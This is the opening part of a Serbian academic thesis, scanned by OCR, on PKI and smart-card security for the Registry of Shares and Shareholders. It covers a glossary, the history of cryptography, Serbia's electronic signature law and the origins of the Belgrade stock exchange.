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REZIME : Bezbednost informacionih sistema predstavlja izuzetno Siroku oblast koju
karakteriSe dinamican razvoj. Poznato je pravilo da sve ono Sto je tek napisano ili
objavljeno je vec i zastarelo, $to recito govori o silovitom razvoju ove oblasti.

Svako razvijeno finansijsko trZiSte svoje poslovanje zasniva na elektronskoj
komunikaciji i1 na raCunarskim informacionim sistemima. Ova ¢injenica je posledica
jednostavnog razloga, a to je veliki obim razmene informacija koji nije moguce
ostvariti na drugi nain. Imaju¢i u vidu navedenu c¢injenicu, potpuno logi¢no se
namece zaklju€ak o neophodnosti zaStite podataka koji se razmenjuju u procesu
trgovanja hartijama od vrednosti na finansijskom trzistu.

Podaci koji se Cuvaju i obraduju na finansijskom trzistu, a samim tim i Stite, mogu se u
osnovi podeliti na dve grupe : podaci o vlasnicima hartija od vrednosti i podaci o
transakcijama hartija od vrednosti. Neophodan uslov za trgovinu vrednosnim
hartijama je posedovanje nedvosmislenog dokaza o posedovanju hartija. Kupac u
svakom trenutku mora biti siguran da kupuje hartije od pravog vlasnika. U
anglosaksonskom konceptu, ne postoji jedna centralizovana institucija koja garantuje
vlasniStvo nad hartijama, ve¢ je ta institucija, uslovno receno, distribuirana. Svaka
transakcija, koja se odigra na finansijskoj berzi ili van nje, mora biti pravovremeno
obradena 1 poslata Centralnom registru hartija od vrednosti na obradu u smislu
promene vlasniStva nad hartijama.

Eventualna kompromitacija podataka koji se razmenjuju u okviru poslovanja
finansijskog trziSta moze dovesti do nesagledivih posledica. Bezbednost na polju
finansijskog trzista je do skoro bila predmet medusobnih dogovora pojedinih ucesnika
u radu finansijskog trziSta. Zastita podataka je ¢esto bila i na veoma visokom nivou,
ali bi problemi nastajali ukoliko bi doSlo do novih povezivanja sa ostalim u€esnicima
na trzistu.

Pojavom i implementacijom PKI sistema ovaj problem je reSen. Za sada su smart
kartice, kao nosioci kriptografskih parametara preovladale na finansijskom trzistu, dok
su ve¢ U izgledu nove tehnologije nosilaca kriptografskih parametara.

Implementirani sistem zaStite podataka u okviru informacionog sistema Registra
akcija i akcionara je optimizovan prema potrebama, a u skladu sa realnim
mogucénostima. Primenjena su domaca reSenja koja garantuju bezbednost na nivou
izvornog koda. Analizu problema bezbednosti sistema, idejno reSenje i
implementaciju je uradio tim vrhunskih domacih stru¢njaka, §to ve¢ samo po sebi
garantuje i maksimalnu bezbednost. Bezbednosni sistem predstavlja originalno
reSenje, dizajnirano za potrebe informacionog sistema Registra akcija i akcionara.

Kljuéne re¢i : Registar akcija i akcionara, Hartija od vrednosti, Infrastruktura sa
javnim kljucevima, Kriptografski algoritmi, Kriptografski kljucevi, Digitalni potpis,
Digitalni sertifikat, Sertifikaciono telo, Smart kartica.



ABSTRACT : Security of information systems present extremely wide area which is
characterized by very fast development. The very well known rule is that what of
material is written or published is already outdated, what is telling us about
tremendous development in this area.

Every advanced financial market is based on electronically communication and on
computer information systems. This fact is the result of one simple reason, and this is
a huge volume of exchanged information which is not possible to realize on the other
way. Providing mentioned fact, the logically conclusion is that we need to protect data
exchanged in the process of trading with shares and bonds on to the financial market.

The data is keeping and treated on to the financial market, and also ensured, could bi
separated in two groups : data about the owners of securities as well as data about
their transactions. Necessary condition fir trading with securities is owning the
definite proof about ownership for shares and bonds. Purchaser have to be ensured, in
every moment, that he is buying the securities from approved owner. In Anglo-Sacson
concept, there is no one centralized institution which guarantee ownership for
securities, yet, mentioned institution is, we can say, distributed. Every transaction, on
stock exchange or out of stock exchange, have to bee forehand managed and send to
Central registry and depository due to changing the ownership.

The eventual damage of data, exchanged during the process of trading on financial
market could cause unpredictable consequences. Data security on financial market,
until soon, was the theme between participant on financial market. Data protection
often was on high level, but problems started if the new participant comes to the
financial market.

With the appearance of the PKI system this problem is solved. For now, the smart
cards, as carriers of the cryptographic parameters, is the best solutions. In this very
moment we can already see new technologies in this area.

Implemented system for data protection in the frame of information system of
Registry for shares and shareholders is optimized according to the needs of system
and with the available capabilities. The domestic solutions are applied, that we have
guarantee for security on the source code level. Analyzing the problem of system
security, conception and implementation is done by the team of top domestic experts.
This is guarantee for maximum security. Security system represents the original
solution, designed for needs of information system of Registry for shares and
shareholders.

Key words : Registry for shares and shareholders, Shares, Bonds, Securities, Public
Key Infrastructure, Cryptographic algoritm, Cryptographic keys, Digital signature,
Digital certificate, certificaation Authority, Smart card.
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RECNIK TERMINA

Asimetri¢ni kriptografski algoritam (Asymetric Cryptographic Algorithm).
Kriptografski algoritam u kome figurise par kljuceva, javni i tajni. Koriste se za
digitalno potpisivanje u okviru bezbednosne Infrastrukture sa javnim kljucevima -
PKI.

Digitalna anvelopa (Digital Envelope). Sistem Sifrovanja i deSifrovanja podataka i
digitalnog potpisivanja. Koristi simeri¢ne 1 asimetricne Sifarske sisteme. Simetri¢ne za
Sifrovanje podataka, a asimetri¢ne za digitalno potpisivanje.

Digitalni potpis (Digital Signature). Elektronski ekvivalnet svojeru¢nom potpisu na
papiru. Elektronski dokument potpisan na ovaj nacin nedvosmisleno deklarise
identitet potpisnika.

Digitalni sertifikat (Digital Certificate). Grupa elektronskih podataka, grupisanih u
logic¢ku celinu. Podaci sadrze identifikacione parametre entiteta u okviru PKI sistema.
Digitalni sertifikat jednozna¢no identifikuje uc¢esnika u komunikaciji i u sebi sadrzi
javni klju¢ ucesnika.

Finansijsko trziste (Financial Market).Organizovani sistem na kome se vrSi trgovanje
hartijama od vrednosti. Javlja se u dva osnovna vida i to kao berzansko ili
vanberzansko finansijsko trziste.

Generisanje kriptografskih klju¢eva (Generating Cryptographic Keys). Proces
generisanja kriptografski kljuceva se prvenstveno sastoji u generisanju velikih,
slu¢ajnih, prostih brojeva. U tu svrhu se koriste hardverski kriptografski moduli -
HSM.

Infrastruktura sa javnim kljucevima (Public Key Infrastructure). Bezbednosna
komunikaciona struktura u kome se koristi par kljuceva, javni i tajni. Omogucava
jednostavnu i sigurnu elektronsku komunikaciju.

Javni kriptografski klju¢ (Public Cryptographic Key). Koristi se u PKI sistemu.
Predstavlja podatak dostupan svim ucesnicima u komunikaciji. Sluzi za jednoznac¢nu
identifikaciju sagovornika.

Lista povucenih sertifikata (Certificate Revocation List). Predstavlja evidenciju
digitalnih sertifikata koji iz bilo kog razloga nisu vise vaze¢i.



Napadac¢ (Attacker). Osoba ili entitet koji na nedozvoljeni nacin koristi ili pokuSava
da koristi raCunarske resurse informacionog sistema.

Politika sertifikacije (Certification Policy). Osnovni dokument kojim se definiSe rad
PKI sistema. U sebi sadrzi osnovne postavke o nacinu funkcionisanja posmatranog
PKI sistema.

Prakti¢na pravila sertifikacije (Certification Practice Statement). Prate¢i dokument
kojim se definiSe rad PKI sistema. DefiniSe procedure i postupke koji se sprovode u
okviru PKI sistema.

Registar akcija i akcionara (Registry of Shares and Shareholders). Subjekt
privatizacionog procesa, definisan zakonom o privatizaciji. Organizaciona struktura
koja cuva 1 obraduje podatke o akcijama i akcionarima. Vodi evidenciju o toku
postupka privatizacije, kao i o privatizovanim preduzecima.

Sertifikaciono telo (Certification Authority). Centralni entitet PKI sistema. Vrsi
generisanje, upravljanje 1 distribuciju kriptografskih kljuceva 1 digitalnih sertifikata.
Poseduje najvisi stepen bezbednosti.

Simetri¢ni  kriptografski algoritmi (Symetric Cryptographic  Algorithm).
Kriptografski algoritam u kome se jedan klju¢ koristi za dobijanje Sifrata iz otvorenog
teksta, kao i dobijanje otvorenog teksta iz Sifrata.

Smart kartica (Smart Card). Hardverski element u vidu plasti¢ne kartice koji u sebi
sadrzi mikroprocesor. U memoriji mikroprocesora se ¢uvaju kriptografski parametri.
Kartice mogu biti kontaktne i beskontaktne, u zavisnosti od nacina ocitavanja
podataka.

Tajni kriptografski klju¢ (Secret Cryptographic Key). Koristi se u PKI sistemu.
Predstavlja podatak dostupan isklju¢ivo vlasniku klju¢a, odnosno digitalnog
sertifikata. SluZi za digitalno potpisivanje.

Ucesnik u komunikaciji (Communication Participant). Osoba ili entitet koji
razmenjuje elektronske podatke sa ostalim entitetima.



SPISAK SKRACENICA

AID Application Provider Identifier
ANSI American National Standards Institute
AODF Authentication Object Directory File
APDU Application Protocol Data Unit

API Application Programming Interface
ASCII American Standard Code for Information Interchange
ASN Abstract Syntax Notation

BCD Binary-Coded Decimal

BDC Backup Domain Controller

BER Basic Encoding Rules

C Cipher text

CA Certification Authority

CBC Cipher Block Chaining

CDF Certificate Directory File

CERT Computer Emergency Response Team
CFB Cipher Feedback

COS Chip Operating System

CP Certification Policy

CPS Certification Practice Statement
CPU Central Processor Unit
CRYPTOKI Cryptographic Token Interface

CRL Certificate Revocation List

CVK Card Verification Key

DDA Dynamic Data Authentication

DER Distinguished Encoding Rules

DES Data Encryption Standard

DF Dedicated File

DLL Dynamic Link Library

DMZ Demilitarizovana Zona

DN Distinguished Name

DNS Domain Name Server

DODF Data Object Directory File

DOS Disk Opearting System

EB Encryption Block

ECB Electronic Codebook

EEPROM Electrically Erasable Programmable Read Only Memory



EF
FIPS
EMV
GSC-IS
GSM
HSM
HTML
HTTP
120SP
IEC
IFD
IP
IPX/SPX
ISO

IT

ITL

v
JDBC
KEK
KEMZ
KPM
KPS
KPP
LAI
OID
OS21P
OSI
ISO
LAN
LDAP
LPP

M
MAC
MD
MF
MHP
MSF
NATO
NIST
N/A
OCF
ODBC

Elementary File
Federal Information Processing Standards
Euro pay, MasterCard, and Visa

Government Smart Card Interoperability Specification

Global System for Mobile Communication
Hardware Security Module

Hypertext Markup Language
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1. UVOD

Rad je podeljen u Sest poglavlja. Cilj rada je prikaz originalno razvijenog i
realizovanog modela zastite informacionog sistema Registra akcija i akcionara,
zasnovanog na PKI sistemu. Zastita podataka koji se Cuvaju i obraduju u bazi
podataka Registra je od izuzetne vaznosti te joj je, prilikom razvoja informacionog
sistema, posvecena posebna paznja.

U glavi 2 ,Informacioni sistem registra akcija i akcionara“, date su osnovne
pretpostavke funkcionisanja informacionog sistema Registra. Dat je kratak istorijat
nastanka samog Registra, kao i korespondiraju¢eg informacionog sistema, kao i
zakonske pretpostavke i institucionalni okviri koji su pratili razvoj informacionog
sistema. Dat je kratak opis primenjenog metodoloskog pristupa, a takode su opisani
razvojni alati, kao 1 hardverski i komunikacioni resursi koris¢eni prilikom razvoja.

U glavi 3 ,,0snovni elementi sistema®, opisani su pojedini segmenti od kojih se
informacioni sistem sastoji, kao Sto su : baza podataka, moduli aplikativnog dela,
korisnicki interfejs, postavljeni servisi i ostale komponente koje su od znacaja. Pored
navedenog dat je prikaz i osnovnih funkcija informacionog sistema.

U glavi 4 ,,Bezbednosne karakteristike informacionog sistema“, dat je detaljan prikaz
realizovanog modela zastite informacionog sistema. U uvodnom delu poglavlja date
su teoretske postavke zaStite podataka, primenjeni koncept zastite kao i politika zastite
informacionog sistema Registra akcija i akcionara. Dalje se opisuje primena smart
kartica i to posebno u domenu autentifikacije korisnika na sistem i odjave sa sistema,
kao i autentifikacije prilikom pristupa aplikaciji. Opisane su i kriptografske API
funkcije, Sifrovanje i deSifrovanje podataka. Dat je opis digitalnog potpisa i nacina
njegove verifikacije. Opisani su kriptografski mehanizmi zaStite u troslojnoj
arihitekturi, kriptografski proksi server, kao i sistem zaStite Web transakcija.
Objasnjeno je koris¢enje PKCS standarda, a takode su date osnovne postavke
sertifikacionih tela i opis sertifikacionog tela u okviru informacionog sistema Registra.

U glavi 5 ,,Analiza mogu¢ih napada na sistem* analizirane su potencijalne moguénosti
1 nacini na koji bi moglo do¢i do kompromitovanja realizovanog bezbednosnog
sistema. KoriS¢eni su segmenti moguéih taksonomija napada [1]. Sagledane su
moguénosti, kako insajderskih napada, tako i napada iz okruzenja. lIzvrSena je analiza
mogucih posledica napada po informacioni sistem Registra.



1.1 STANJE BEZBEDNOSTI INFORMACIONIH SISTEMA
U SVETU I KOD NAS

Bezbednost informacionih sistema, a samim tim i podataka koji su u njima sadrzani,
sve viSe dobijaju na znacaju u svetskim informatickim tokovima. U razvijenim
zemljama je napredak globalne mreze uzeo maha i nalazi svoju primenu, ne samo u
poslovnim i vojnim sistemima, ve¢ i u svakodnevnom Zivotu obiénih gradana.
Privatnost podataka je ozbiljno ugroZena imaju¢i u vidu d&injenicu da pored
individualnih napadaca postoje 1 organizovani sistemi za pracenje komunikacija 1 to
globalnih razmera kao $to je ECHELON Interception System [2]. Javlja se oCigledna
potreba za podizanjem nivoa bezbednosti, kako podataka koji se ¢uvaju u bazama,
tako i komunikacije izmedu korisnika mreze. Posebna paznja ovom problemu se
posvecuje pojavom viseslojnih aplikacija i distribuiranih baza podataka. Internet je,
svakako, doprineo razvoju novih sistema zastite, ne samo izolovanih informacionih
sistema, ve¢ 1 komunikacija u novoj globalnoj mrezi.

Nasa zemlja, na Zalost, ne pripada liderima na ovom podrucju, pogotovo imajuci u
vidu proteklu deceniju kada je bila izlozena ekonomskim sankcijama i ratnim
razaranjima. Ipak, neophodno je naglasiti da kod nas postoji visoko kvalifikovani
kadar koji sa uspehom opsluzuje specijalizovane organizacije kao S$to su vojne i
policijske strukture. Opredeljenje nase zemlje za prikljucenje Evropskoj uniji diktira i
razvoj bezbednosti informacionih sistema. NaSe pridruzivanje Evropskoj uniji, u
pogledu zastite podataka, ¢e te¢i znatno lakSe zahvaljujuéi kvalitetnim ljudskim
potencijalima kojima raspolazemo.

1.1.1 ANALIZA RAZVOJA SISTEMA ZASTITE DIGITALNIH
PODATAKA

Istorijski posmatrano, znacaj informacija je uocen jo§ od samih pocetaka evolucije
ljudskog roda. U praistoriji je bila bitna informacija o kretanjima krda divljih zivotinja
koje su primati lovili radi svoje ishrane. Takode su bile bitne informacije o mestu
uspevanja jestivih plodova, neophodnih za opstanak vrste. Informacije su najpre bile
prenoSene mimikom i gestovima, Sto je predstavlajlo relativno ograni¢en nacin
komuniciranja. Ma kako redukovano bilo, komuniciranje izmedu individua,
predstavljalo je zivotno vazan proces, bez koga bi opstanak zajednice bio doveden u
pitanje.

Razvojem govornog aparata dolazi do pojave glasovnog prenoSenja podataka, tj. do
razvoja jezika. Jezik postaje osnovno sredstvo sporazumevanja i putem njegove
upotrebe se prenosi najveci broj podataka izmedu ucesika u komunikaciji.
Komunikacija je sada bila daleko efikasnija, a samim tim je bilo olakSano i
prezivljavanje vrste.



Daljom evolucijom ljuskog roda dolazi do razvoja peéinskog zidnog slikarstva kao

na¢ina razmene informacija.

Jedan od prvih primeraka pecinskog slikarstva

predstavlja pe¢ina u Altamiri (sadasnja Spanija) u vreme rane antike, oko 18.500
godina pre nove ere [3]. Kasnije dolazi do razvoja slikovnog pisma - hijeroglifa u
starom Egiptu, oko 3.500 godina pre nove ere [4]. U narednoj tabeli dat je ,,prevod*

hijeroglifa u odnosu na engleski alfabet.

Tabela 1.1 Tumacenje staroegipatskih hijeroglifa engleskim alfabetom
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Nakon toga evoluira klinasto pismo u Mesopotamiji izmedu reka Eufrat i Tigris, na
prostorima danasnjeg Iraka, oko 3.000 godina pre nove ere [5]. Klinasto pismo je
predstavljalo znacajan korak napred u odnosu na hijeroglife. Veliko otkrice,
predstavljao je pronalazak Stele od crnog bazalta iz 196. godine pre nove ere,
pronadene u Rozeti u Egiptu, 1779. godine, na kojoj se nalazio dvojezic¢ni natpis u
Cast kralja Ptolomeja V Epifana. Natpis je bio dat hijeroglifima, demoti¢kim 1 grékim
pismom, §to je omogucéilo desifrovanje hijeroglifa.

Jedan od prvih poznatih Sifarskih sistema je Skitale nastao u drevnoj Grékoj. Plutarh je
opisao Sifru koju je koristio spartanski vojskovoda u doba Likurga. PoSaljilac i
primalac su imali Stapove jednakih debljina. PoSaljilac bi na ovakav Stap namotavao
pergamnetsku traku ili kai$ od bilo kog materijala, tako da su se zavoji dodirivali. Na
njima je poruka pisana u uzduznim redovima, a u svakom redu je upisivan samo po
jedan znak na zavoju. Po zavrSenom ispisivanju poruke, kais se skidao sa Stapa i po
kuriru slao primaocu. Od nerazumljivog niza slova (Sifrata) dobijao se otvoreni tekst
poruke kada bi primalac namotao primljeni kai$ na svoj Stap. Zbog svog izgleda Sifra
je nazvana Skitale. To je do danas najstarija poznata Sifra.

Kada je Gaj Julije Cezar slao poruke svojim vojskovodama, nije verovao glasnicima.
Tada je zamenio svako slovo A slovom D, svako B slovom E i tako dalje kroz celu
abecedu. Samo neko ko je znao ,,pomeranje za 3“ mogao je da deSifruje njegovu
poruku i danas se takav nacin Sifrovanja naziva Cezarov Sifarski sistem.

Revoluciju u Sirenju informacija omogucio je izum Stamparske masSine Johannesa
Gutenberga 1436. godine, koja je svoj definitivni oblik dobila 1440. godine.
Gutenbergov izum je, izmedu ostalog, u velikoj meri doprineo Sirenju industrijske
revolucije u XIX veku.

Prema Alvinu Tofleru [6], nakon industrijskog doba nastupa informaciono doba, tj.
epoha u kome proizvodnja, eksploatacija i kontrola informacija imaju presudnu ulogu
na razvoj ljudskog drusva. Informacije sve vise dobijaju na znacaju. Raste potraznja
za informacijama, a samim tim i potreba zastite informacija.

Americka firma IBM pusta u rad prve procesore Sezdesetih godina proslog veka, ¢ime
zapocinje doba elektronske obrade podataka, a to donosi nove izazove u pogledu
¢uvanja i distribucije podataka. IBM prvi propisuje bezbednosne standarde, koji i
danas nalaze svoju primenu i predstavljaju osnovu za mnoge koncepcije zastita
podataka [7]. U pocetku se radilo o velikim centralizovanim racunarskim sistemima
Sto je zaStitu podataka, posmatraju¢i sa danaSnje taCke gledista, ¢inilo relativno
jednostavhom. Razvojem raCunarskih mreza i distribuiranih rac¢unarskih sistema
dolazi do usloznjavanja problema zastite, iz jednostavnog razloga Sto je pored samog
raCunara potrebno S§titi 1 komunakcione kanale. Potrebno je imati na umu da su
prvobitne racunarske mreze imale jednostavnu topologiju, a samimm tim i zastita
komunikacionih kanala nije bila znatno slozenija.



Pojavom distribuiranih racunarskih sistema, a posebno Interneta, kao najvece
investicije vlade USA i svetskog fenomena, maksimalno je uslozena elektronska
komunikacija i viSestruko oteZana zaStitu podataka koji se distribuiraju putem
Interneta.

1.1.2 BEZBEDNOST INFORMACIONIH SISTEMA U RAZVIJENIM
ZEMLJAMA

Znacaj zastite i bezbednosti podataka su prve uocile tehnoloski najnaprednije zemlje,
koje su pored interesa zaStite svojih podataka imale i strateSku potrebu saznavanja
skrivenih podataka potencijalnih neprijatelja. Vojna industrija je prednjacila u ovoj
oblasti, a posebno su se isticale zemlje kao §to su : Sjedinjene Americke Drzave,
Sovjetski Savez i Kina. Sakriti svoje podatke i do¢i do podataka potencijalnih
neprijatelja je bio imperativ u doba hladnog rata. Angazovani su c¢itavi timovi
stru¢njaka koji su smisljali neprobojne Sifre kako bi sakrili svoje namere. Sjedinjene
Ameri¢ke Drzave, Velika Britanija, Kanada i Novi Zeland formirali su organizaciju
UKUSA, kao osnovu za formiranje sistema “Echelon” koji ¢ini niz prislu$nih stanica
rasporedenih po strateSskim tackama radi prikupljanja svih informacija od interesa, kao
i centri u kojima se prikupljene informacije obraduju.

Poznat je slu¢aj masine ,,Enigma‘“ iz drugog svetskog rata za koju su Nemci verovali
da je neprobojna te su je, u skladu sa tim svojim uverenjem, sasvim slobodno koristili
u razmeni informacija. Ipak, grupa engleskih nau¢nika u Ble¢li parku u Londonu,
danas muzeju, uspela je da probije Sifarski sistem, Sto je, veruje se uspelo da skrati
drugi svetski rat za oko dve godine [8].

O samim sistemima zastite, kao i o Sifarskim sistemima Sovjetskog saveza i Kine se
veoma malo zna jer su drzani u dubokoj tajnosti. Ono Sto je sasvim izvesno je da iz
pomenutih zemalja dolaze vrhunski stru¢njaci iz oblasti zaStite podataka i da su veoma
cenjeni u zapadnim zemljma. Osnovna karakteristika zaStite podataka u istocnim
zemaljama je da se njihovi oprativni sistemi baziraju na Unux/Linux platformama
koje same po sebi predstavljaju Open Source platformu. Na takvoj platformi je
moguce vrsiti najrazlicitije intervencije, te je iz tog razloga veoma tesko otkriti nacin 1
mehanizam zaStite.

Razvojem savremenih alata za projektovanje u implementaciju viSeslojnih
informacionih struktura dolazi do otvaranja inace ,klaustrofobi¢nih® informacionih
sistema. Razvijeni su sistemi zastite koji u veoma visokoj meri Stite ovakve sisteme
uprkos njihovoj, naizgled, velikoj ranjivosti.

Bezbednost Internet orijentisanih sistema se nikako ne sme shvatiti kao apsolutna, jer
bi to moglo imati pogubne posledice, ve¢ sa prihvatljivim nivom rizika. Svedoci smo
svakodnevne pojave novih virusa kao 1 SpyWare programa koji na svaki nacin nastoje
da naruSe integritet podataka na racunarskim sistemima. Treba, medutim, imati na



umu 1 sve one aktivnosti Citavih timova Ciji je posao da Stite racunarske sisteme 1
podatke na njima od zlonamernih programa. Neki od najpoznatijih timova za izradu
antivirusnih programa su svakako Symantec [9] i eTrust [10], ¢iji antivirusni programi
koji ukoliko se pravilno konfigurisu i redovno azuriraju pruzaju visok stepen zastite
raCunarskih sistema.

Na ovom mestu je neophodno primetiti da se Cesto napadaci sistema pretvaraju u
branioce tih istih sistema koje su napadali, pre svega iz komercijalnih razloga. Opste
je poznato da je ne mali broj hakera u Sjedinjenim Ameri¢kim DrZzavama pronasao
posao upravo tako Sto je najpre izvrSio napad na sistem kompanije u kojoj je kasnije
dobio zaposlenje.

Akcenat na podacima koji se Stite prenet je sa vojnih na komercijalne. Primera radi
NATO putem Interneta objavljuje spisak dezurstava svojih oficira na nosacima aviona
i to sa specificiranim mestima dezurstva [11], ali se zato najnoviji pronalazak firme
»General motors* krije viSestrukim merama zastite.

U zastiti podataka posebno treba ista¢i dostignuca, kao i disciplinu kojom se ta
dostignuc¢a primenjuju, u Nemackoj. Izmedu ostalog, postoji nedvosmisleni propis
koji nalaze da sa na svakih deset zaposlenih u informati¢kom odelenju mora nalaziti
jedna osoba koja je zaduZzena za bezbednost podataka Sto je definisano
Bundesdatenschutzgesetz - Zakonom o zastiti podataka iz 1972. godine[12]. Ova
¢injenica savrSeno ilustruje ozbiljnost pristupa zastiti podataka, Sto bi svakako trebao
biti uzor i ostalim zemljama koje pretenduju da razviju informaticko drustvo pa i
Evropskoj uniji.

1.1.3 RAZVOJ DOMACIH SISTEMA BEZBEDNOSTI

Domaci sistemi bezbednosti su razvijani prevashodno iz politi¢kih razloga koji su bili
diktirani nesvrstanim statusom bivSe SFRJ, Sto je podrazumevalo potpuno autonomne
sisteme u raznim domenima, pa tako i u oblasti zastite podataka. UloZeni napori Citave
plejade strucnjaka su dali odli¢ne rezultate, tako da su stvoreni gotovo neprobojni
sistemi kako za isto¢ni tako i za zapadni vojni blok, Sto je dovelo do velikog respekta
naSih stru¢njaka u svetu.

U novoj eri globalizacije, promenom drustveno ekonomskog sistema, raspadom bivse
SFRJ, kao i1 faktickim nestankom pokreta nesvrstanih zemalja, situacija se iz korena
menja. Radi kompatibilnosti sa zemljama Evropske unije kao i SAD, preuzimaju se
polugotovi sistemi, s tim Sto se dopusta, eventualno, pisanje soptvenih algoritama, ali
opet uz verifikaciju nadleznih organa Evropske unije.

I dalje se u vojnim sistemima kao i u sistemima policije i domacih obavestajnih sluzbi
i specijalizovanih agencija koriste neki od autenti¢nih metoda zastite. Ipak, treba imati
u vidu da se priblizavanjem naSe zemlje Evropskoj uniji kao i Partnerstvu za mir, u



okviru priblizavanja NATO standardima, sve viSe gubi domaci identitet i prihvataju
gotova ili polugotova resenja iz zapadnih zemalja.

1.2 DOMACE ZAKONODAVSTVO U OBLASTI BEZBEDNOSTI
INFORMACIONIH SISTEMA

Domace zakonodavstvo do skoro, nije posvecivalo gotovo nikakvu paZnju za$titi
elektronskih podataka. lako je od strane Vlade republike Srbije osnovana najpre
Agencija za razvoj informatike i interneta, koja je kasnije preimenovana u Zavod za
razvoj informatike i interneta, rezultati postignuti na polju razvoja informatike su
veoma skromni. Informatika se uvek nalazila na marginama burnih politickih
previranja u Srbiji, i na zalost, nikad nije dobila svoje pravo mesto.

Veliki napredak je postignut direktnim odlaskom naSeg tadaSnjeg premijera,
gospodina Zorana Dindica, sa ekipom domacih eksperata u Redmond, SAD, radi
direktnog susreta sa vlasnikom vodece svetske informaticke kompanije Microsoft,
Bilom Gejtsom. Nakon tog susreta, Microsoft je preduzeo energi¢nije korake na
srpskom trzistu, Sto je ipak pokrenulo, mada ne sa Zeljenim efektom i Zeljenim
tempom, zamajac razvoja informatickog drustva i u nasoj zemlji.

1.2.1 USLOVI FUNKCIONISANJA ZAKONODAVSTVA U SRBIJI

Osnovna pretpostavka sprovodenja zaStite informacionih sistema je postojanje
odgovarajuce zakonske regulative. Srbija je u toku protekle dve decenije prosla kroz
mnogobrojne burne promene koje su, na Zzalost, izazvale mnoge nevolje na ovim
prostorima. U periodu tranzicije, doneti su mnogi, ¢esto 1 medusobno kontradiktorni
zakoni, koji su naknadno uskladivani jedan sa drugim. Zakoni koji bi regulisali
elektronsko poslovanje su se, nekako, uvek nalazili na dnu lestvice prioriteta, i retko
su ozbiljno uzimani u razmatranje. Na ovaj nacin je minorizovan njihov znacaj, §to je
ostavilo dalekosezne posledice na razvoj, ne samo, zastite informacionih sistema, vec¢ i
na razvoj celokupne informatike u drzavi. Na svu srecu, i uprkos nepovoljnim
politickim uslovima, temeljno i dugo je pripreman Zakon o elektronskom potpisu koji
bi morao posluziti kao fundametalni Zakon na koji bi se naslanjali svi podzakonski
akti koji reguliSu zastitu elektronskih podataka. Napredak pripreme pomenutog
Zakona je tekao tako kvaliteno, da su mnoge zemlje iz okruzenja, kao Sto su na primer
Hrvatska u Slovenija, doslovce prepisale mnoge odredbe naSeg Zakona i usvojile ga
pre naSe Skupstine.



1.2.2. SAGLEDAVANJE ODREDBI ZAKONA O ELEKTRONSKOM
POTPISU

Konaéno je u Skupstini Srbije usvojen Zakon o elektronskom potpisu dana
21.12.2004. godine [13]. U narednom delu teksta bi¢e skrenuta paznja samo na
najbitnije elmente Zakona, dok se kompletan tekst Zakona o elektronskom potpisu
nalazi u Appendix-u A [14].

Ovim Zakonom ureduje se upotreba elektronskog potpisa 1 njegova pravna validnost
se dovodi u ekvivalent sa svojeru¢nim potpisom na papiru. DefiniSu se izrazi koji do
donoSenja ovog Zakona, nisu postojali u naSem zakonodavstvu, a koji objaSnjavaju
osnovne pojmove vezane za elektronsko poslovanje i digitalno potpisivanje. Dalje se
definiSu pojmovi Elektronskog potpisa i Kvalifikovanog elektronskog potpisa, kao i
digitalni sertifikati i1 sertifikaciona tela. Zatim su definisana prava, obaveze i
odgovornosti korisnika i sertifikacionih tela. Na samom kraju je definisan nadzor nad
radom sertifikacionih tela i korisnika kao i kaznene, prelazne i zavrSne odredbe.
Nakon usvajanja Zakona, ostavljen je rok od tri meseca za donoSenje odgovarajucih
podzakonskih akata koji bi blize definisali primenu samog Zakona.

1.2.3 OCEKIVANI EFEKTI NAKON USVAJANJA ZAKONA

Usvojeni Zakon uneée znatno vise reda u dosadasnje stihijsko osnivanje nezavisnih
sertifikacionih tela, koja su nicala u raznim domenima prema nahodenju pojedinih
grupacija i grana delatnosti. Pored uvodenja elementarnog reda do¢i ¢e do povecanja
pouzdanosti razmenjenih podataka, njihove tajnosti i svakako obezbedivanja
neporecivosti elektronskih transakcija. Elektronski dokumenti ¢e se mo¢i koristiti kao
1 svaki drugi validni dokumenti u procesu dokazivanja prilikom vodenja sudskih
sporova pred nadleznim sudovima, §to ¢e u mnogome ubrzati sudske procesa koji kod
nas traju neprimereno dugo, a samo izvodenje dokaza u opisanom smislu ¢e biti
neuporedivo brze i pouzdanije.

1.3 OPIS FUNKCIONISANJA FINANSIJSKOG TRZISTA

Finansijsko trziSte je sloZena struktura, koja sadrzi vise ¢inilaca u skladu sa potrebama
funkcionisanja samog trziSta i u skladu sa zakonskim propisima. Na finansijskom
trziStu se odigrava trgovina kapitalom, kako preduzeca tako i same drzave, i u
razvijenim zemljama predstavlja nezaobilazni faktor funkcionisanja drustveno
ekonomskog sistema. Neophodno je naglasiti da je u Kraljevini Srbiji finansijska
berza osnovana 1894 godine u Beogradu, dok su prve transakcije zakljucene januara
1895. godine. Poslednji sastanak tadasSnje berze je odrzan 4. aprila 1941. godine, dok
je zvanic¢no ugasena pocetkom pedesetih godina.



Slika 1.1 Osnivacka skupstina beogradske berze 1894. godine

Jugoslovensko trziste kapitala, koje je osnovano 1989. godine, ponovo preuzima naziv
Beogradska berza 1992. godine [15].

Osnovni cilj finansijskog trzista je omogucavanje trgovine hartijama od vrednosti na
efikasan, organizovan i zakonit naéin.

1.3.1 ULOGA FINANSIJSKOG TRZISTA U EKONOMIJI ZEMLJE

Funkcionisanje finansijskog trzista je definisano sa tri osnovna zakona i to :
Zakonom o privatizaciji [16], Zakonom o Agenciji za privatizaciju [17] kao i
Zakonom o trziStu hartija od vrednosti i drugih finansijskih instrumenata [18].

Finansijsko trziste predstavlja jedan od klju¢nih oslonaca razvoja privrede, a samim
tim i drzave u celini, u svim zemljama zapadne demokratije. Ulaskom nase zemlje u
tranziciju pojavila se potreba za formiranjem sopstvenog finansijskog trzista.
Finansijsko trziSte se najpre formiralo u svom rudimentarnom obliku da bi zatim,
daljim ekonomskim i politickim napretkom zemlje, poprimilo sofisticiraniji oblik.

Cinjenica koju je na ovom mestu neophodno uoditi je da dolazi do globalizacije
finansijskog trzista, u okviru celoukupne svetske globalizacije. Presudnu ulogu na
razvoj domaceg finansijskog trziSta ima teznja da se naSa zemlja priblizi Evropskoj
uniji u §to je moguce vecoj meri i u Sto kracem vremenskom roku. Svakako, mora se
uzeti u obzir kako dalja tako i bliza istorija nase zemlje koja u znatnoj meri uti¢e na
formiranje finansijskog trZista kod nas.

Finansijsko trZiSte postaje nezaobilazni faktor ekonomije na kome se kupuje i prodaje
kapital, a samim tim i odreduje njegova realna cena. Finansijsko trziSte nemilosrdno
oslikava stanje ekonomije jedne zemlje pri ¢emu Srbija ne predstavlja izuzetak.

1.3.2 UCESNICI NA FINANSIJSKOM TRZISTU

